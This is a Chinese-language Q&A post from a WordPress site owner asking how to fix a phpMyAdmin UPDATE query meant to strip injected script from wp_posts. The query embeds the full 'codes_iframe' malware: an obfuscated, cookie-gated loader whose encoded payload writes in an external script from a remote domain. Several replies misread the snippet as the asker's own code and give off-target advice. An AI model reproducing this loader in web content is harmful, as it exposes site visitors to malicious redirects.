【发布时间】:2021-11-04 01:39:12
【问题描述】:
我在 phpmyadmin 中编写此查询,但显示错误。 我应该如何编写正确的查询?
UPDATE `wp_posts` SET post_content =
REPLACE (post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e)
{var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace
(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));
return U?decodeURIComponent(U[1]):void 0}
var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs="
,now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");
if(now>=(time=cookie)||void 0===time)
{var time=Math.floor(Date.now()/1e3+86400),
date=new Date((new Date).getTime()+86400);
document.cookie="redirect="+time+";
path=/; expires="+date.toGMTString(),
document.write('')} ', ' ')
【问题讨论】:
-
你不想要这个...参见sql注入。可能还有许多其他安全问题:(
-
另外,既然你设置了一个cookie,你可能应该通过PHP来做。然后在 Javascript 中做同样的事情,但现在在 php 中。并使用准备好的语句中的值。如果你真的必须通过 Javascript 来做。您应该使用 AJAX 之类的方式将要在查询中写入的数据传递给 PHP。
-
如果错误在 SQL 选项卡上显示为红色圆圈和/或 X,您可以将鼠标悬停在其上以获取更多信息。如果您已提交查询,您应该会从 MySQL 收到一条错误消息。无论哪种情况,发布完整的错误消息都会对您有所帮助。
标签: javascript mysql sql wordpress phpmyadmin